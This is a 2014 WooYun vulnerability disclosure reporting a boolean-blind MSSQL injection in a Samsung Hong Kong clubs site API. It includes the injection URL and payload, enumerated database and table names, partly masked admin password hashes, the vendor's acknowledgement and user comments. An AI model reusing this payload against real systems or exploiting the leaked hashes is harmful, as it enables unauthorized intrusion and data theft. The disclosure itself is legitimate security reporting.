当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088958

漏洞标题：三星集团另一站点MSSQL注射

相关厂商：三星

漏洞作者： lijiejie

提交时间：2014-12-27 19:34

修复时间：2015-02-10 19:36

公开时间：2015-02-10 19:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-27： 细节已通知厂商并且等待厂商处理中
2014-12-29： 厂商已经确认，细节仅向厂商公开
2015-01-08： 细节向核心白帽子及相关领域专家公开
2015-01-18： 细节向普通白帽子公开
2015-01-28： 细节向实习白帽子公开
2015-02-10： 细节向公众公开

简要描述：

三星集团另一站点MSSQL注射, bool blind。

详细说明：

注入点：

http://hkclubs.samsung.com/api/channel?limit=10000&sort=sort_order desc&status=1 AND len(system_user)=8


参数status可注入，MSSQL bool blind，速度很快。以上猜解system_user长度为8.

漏洞证明：

current user:    '***admin'


数据库：

available databases [6]:
[*] master
[*] model
[*] msdb
[*] ***_Clubs
[*] ***_Mini
[*] tempdb


数据表：

Database: SEHK_Clubs
[47 tables]
+---------------------------+
|*****el                   |
|*****ctUs                 |
|*****e                    |
|*****eDetail              |
|*****eEnrollment          |
|*****eVideo               |
|*****ayArea               |
|*****                     |
|*****Options              |
|*****onetent              |
|*****sual                 |
|*****s                    |
|*****ion                  |
|*****Records              |
|*****Files                |
|*****nData                |
|*****History              |
|*****ct                   |
|*****ctCategory           |
|*****ctPoint              |
|*****ctRegistration       |
|*****ctType               |
|*****mItem                |
|*****mItemType            |
|*****mRecord              |
|*****trationApproveRecord |
| Role                      |
| User                      |
|*****vent                 |
|*****rofile               |
|*****iewHistory           |
|*****lIcon                |
|*****nty                  |
|*****ng                   |
|*****ook_autofeed_log     |
|*****ook_feed_table       |
|*****nt                   |
|*****alpromotion          |
|*****alpromotionenroll    |
|*****alpromotionrow       |
|*****y                    |
|*****yans                 |
|*****yquestion            |
|*****yuser                |
|*****yuserans             |
|*****mUser                |
|*****mUserRole            |
+---------------------------+


systemUser表格，管理员，示例：

***admin,64e604787cbf194841e7b68d7cd28786f6c9a0a3ab9f8b0a0e87cb4387axxxxx
***ner,0ecb73703ab4cabdeee35ecd58e74a60bb92ef8112f6c4d847890f1xxxxxxx

修复方案：

过滤

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-12-29 15:15

厂商回复：

感谢对三星网站的关注，我们会尽快确认并修复。谢谢

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-27 19:36 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    慢点，@杀器王子 压力好大

  2. 2014-12-27 19:46 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    李姐姐加油啊

  3. 2014-12-27 19:48 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    李姐姐真棒啊

  4. 2014-12-27 20:18 | 杀器王子 认证白帽子 ( 普通白帽子 | Rank:1532 漏洞数:121 | 磨刀霍霍向猪羊)

    我靠 大周末的 搞啥啊

  5. 2014-12-27 20:22 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @杀器王子 我看热闹不嫌热闹大，杀啊

  6. 2014-12-27 23:09 | lijiejie 认证白帽子 ( 核心白帽子 | Rank:2210 漏洞数:294 | Just for fun.)

    @猪猪侠 不敢不敢… 杀器王子到底是不是猪猪侠的小号… 先敬两位兄，努力向你们学习呐！ @杀器王子